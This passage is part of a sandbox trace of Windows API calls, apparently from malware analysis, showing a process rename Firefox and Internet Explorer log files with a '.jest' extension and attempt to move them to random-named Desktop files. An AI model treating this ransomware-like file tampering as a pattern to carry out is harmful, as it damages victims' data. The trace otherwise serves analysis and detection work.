wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.203] CoFreeUnusedLibraries () [0130.204] GetTickCount () returned 0x1152f5b [0130.204] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.204] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.204] GetTickCount () returned 0x1152f5b [0130.204] IsWindowVisible (hWnd=0x30268) returned 0 [0130.204] Sleep (dwMilliseconds=0x0) [0130.205] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log.jest")) returned 1 [0130.207] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\install.log", lpFilePart=0x18e6d8*="install.log") returned 0x32 [0130.207] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.207] GetLastError () returned 0x2 [0130.207] VarBstrFromR4 (in: fltIn=0x47944703, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.02") returned 0x0 [0130.208] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.208] CoFreeUnusedLibraries () [0130.208] GetTickCount () returned 0x1152f6a [0130.208] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.208] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.208] GetTickCount () returned 0x1152f6a [0130.208] IsWindowVisible (hWnd=0x30268) returned 0 [0130.208] Sleep (dwMilliseconds=0x0) [0130.209] GetFullPathNameA (in: lpFileName="V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp", lpFilePart=0x18e708*="V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp") returned 0x8e [0130.209] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\install.log", lpFilePart=0x18e708*="install.log") returned 0x32 [0130.210] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v28ul3z5oqfaklll0yrfb0lb_8iyc1onv5-h7hqgwrxdccwmb4ivire rpd6nmo7yag5xba2ar9lzfx_w2lvm8brojdeodrz7dbg.tmp")) returned 0 [0130.210] GetLastError () returned 0x2 [0130.210] GetLastError () returned 0x2 [0130.210] SetLastError (dwErrCode=0x2) [0130.210] GetLastError () returned 0x2 [0130.210] SetLastError (dwErrCode=0x2) [0130.210] GetLastError () returned 0x2 [0130.210] SetLastError (dwErrCode=0x2) [0130.211] GetFullPathNameA (in: lpFileName="V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp", lpFilePart=0x18e6e4*="V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp") returned 0x8e [0130.211] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V28Ul3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x55383256, cFileName="l3Z5oQFAklLL0YrfB0LB_8iyc1oNv5-H7HQgwRxdCCwmb4iVIRe rPd6NMo7yaG5xBA2aR9lZFx_w2lVM8brOJdEoDrZ7DBg.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.211] GetLastError () returned 0x2 [0130.211] GetLastError () returned 0x2 [0130.211] SetLastError (dwErrCode=0x2) [0130.216] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.216] CoFreeUnusedLibraries () [0130.216] GetTickCount () returned 0x1152f6a [0130.216] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.216] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.216] GetTickCount () returned 0x1152f6a [0130.216] IsWindowVisible (hWnd=0x30268) returned 0 [0130.216] Sleep (dwMilliseconds=0x0) [0130.219] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log.jest")) returned 1 [0130.223] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log", lpFilePart=0x18e6d8*="uninstall.log") returned 0x3e [0130.223] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.223] GetLastError () returned 0x2 [0130.223] VarBstrFromR4 (in: fltIn=0x47944705, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.04") returned 0x0 [0130.224] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.224] CoFreeUnusedLibraries () [0130.224] GetTickCount () returned 0x1152f7a [0130.224] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.224] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.224] GetTickCount () returned 0x1152f7a [0130.224] IsWindowVisible (hWnd=0x30268) returned 0 [0130.224] Sleep (dwMilliseconds=0x0) [0130.225] GetFullPathNameA (in: lpFileName="oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp", lpFilePart=0x18e708*="oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp") returned 0x8e [0130.225] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log", lpFilePart=0x18e708*="uninstall.log") returned 0x3e [0130.226] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\okie2spaeo5d2w_bo00pt1c9j49qdecek9vqenxnjthloqlizslukr-dmwckilz7mzycn6hkgkzd0pvz6ziw_fdvhmjjv3xjk4ch.tmp")) returned 0 [0130.226] GetLastError () returned 0x2 [0130.226] GetLastError () returned 0x2 [0130.226] SetLastError (dwErrCode=0x2) [0130.226] GetLastError () returned 0x2 [0130.226] SetLastError (dwErrCode=0x2) [0130.226] GetLastError () returned 0x2 [0130.226] SetLastError (dwErrCode=0x2) [0130.226] GetFullPathNameA (in: lpFileName="oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp", lpFilePart=0x18e6e4*="oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp") returned 0x8e [0130.226] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oKie2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x65694b6f, cFileName="2SPaeO5d2w_bO00Pt1c9J49qDecEk9VQENXNJThloQLIZSluKR-DmWckilZ7MzyCN6hkGKZD0pVz6ZIW_fDVHmJjv3xjk4cH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.227] GetLastError () returned 0x2 [0130.227] GetLastError () returned 0x2 [0130.227] SetLastError (dwErrCode=0x2) [0130.232] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.232] CoFreeUnusedLibraries () [0130.232] GetTickCount () returned 0x1152f7a [0130.232] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.232] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.232] GetTickCount () returned 0x1152f7a [0130.232] IsWindowVisible (hWnd=0x30268) returned 0 [0130.232] Sleep (dwMilliseconds=0x0) [0130.233] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.jest")) returned 1 [0130.234] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x18e6d8*="brndlog.txt") returned 0x46 [0130.234] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.234] GetLastError () returned 0x2 [0130.235] VarBstrFromR4 (in: fltIn=0x47944705, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.04") returned 0x0 [0130.235] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.235] CoFreeUnusedLibraries () [0130.235] GetTickCount () returned 0x1152f7a [0130.235] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.235] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.235] GetTickCount () returned 0x1152f7a [0130.235] IsWindowVisible (hWnd=0x30268) returned 0 [0130.235] Sleep (dwMilliseconds=0x0) [0130.236] GetFullPathNameA (in: lpFileName="pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp", lpFilePart=0x18e708*="pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp") returned 0x8e [0130.236] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x18e708*="brndlog.txt") returned 0x46 [0130.236] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjmsttylxttefyzeqbu6v2yredjkxwlwfc1vv1wlfmift-dv0el68xrq5t--sdqhmp9z35xtfwle2fpf38ecg5uw53pz-x4sbnhh.tmp")) returned 0 [0130.236] GetLastError () returned 0x2 [0130.236] GetLastError () returned 0x2 [0130.236] SetLastError (dwErrCode=0x2) [0130.236] GetLastError () returned 0x2 [0130.237] SetLastError (dwErrCode=0x2) [0130.237] GetLastError () returned 0x2 [0130.237] SetLastError (dwErrCode=0x2) [0130.237] GetFullPathNameA (in: lpFileName="pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp", lpFilePart=0x18e6e4*="pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp") returned 0x8e [0130.237] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pJmSTtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x536d4a70, cFileName="TtYLxtteFyzeQbU6v2yReDjKXwlWFC1vv1wLfMIFt-Dv0El68XrQ5T--sdqhmP9Z35XtFWle2FPF38ECG5Uw53pz-X4SbNHH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.237] GetLastError () returned 0x2 [0130.237] GetLastError () returned 0x2 [0130.237] SetLastError (dwErrCode=0x2) [0130.238] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.238] CoFreeUnusedLibraries () [0130.238] GetTickCount () returned 0x1152f89 [0130.238] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.238] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.238] GetTickCount () returned 0x1152f89 [0130.238] IsWindowVisible (hWnd=0x30268) returned 0 [0130.238] Sleep (dwMilliseconds=0x0) [0130.239] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.jest")) returned 1 [0130.240] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", lpFilePart=0x18e6d8*="brndlog.bak") returned 0x46 [0130.240] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.240] GetLastError () returned 0x2 [0130.241] VarBstrFromR4 (in: fltIn=0x47944707, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.05") returned 0x0 [0130.241] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.241] CoFreeUnusedLibraries () [0130.241] GetTickCount () returned 0x1152f89 [0130.241] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.241] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.241] GetTickCount () returned 0x1152f89 [0130.241] IsWindowVisible (hWnd=0x30268) returned 0 [0130.242] Sleep (dwMilliseconds=0x0) [0130.242] GetFullPathNameA (in: lpFileName="yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp", lpFilePart=0x18e708*="yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp") returned 0x8e [0130.242] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", lpFilePart=0x18e708*="brndlog.bak") returned 0x46 [0130.243] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yodbmkpjuz 2e2b7ssclw5hxdscdrqubquqt9-qbepo-derebwy65amrl6bb6hftjzlkcngm7onbjro8ti8pqmfrkzgyjv_tlhoc.tmp")) returned 0 [0130.243] GetLastError () returned 0x2 [0130.243] GetLastError () returned 0x2 [0130.243] SetLastError (dwErrCode=0x2) [0130.243] GetLastError () returned 0x2 [0130.243] SetLastError (dwErrCode=0x2) [0130.243] GetLastError () returned 0x2 [0130.243] SetLastError (dwErrCode=0x2) [0130.244] GetFullPathNameA (in: lpFileName="yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp", lpFilePart=0x18e6e4*="yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp") returned 0x8e [0130.244] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yodbmkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x62646f79, cFileName="mkpJuZ 2e2b7SscLw5HxdSCdrqUbqUqT9-qbEPO-dereBWY65aMRl6bB6HFtJZLkCnGm7ONBJRO8Ti8PQMfrKzgYjv_TLhOc.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.244] GetLastError () returned 0x2 [0130.244] GetLastError () returned 0x2 [0130.244] SetLastError (dwErrCode=0x2) [0130.248] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 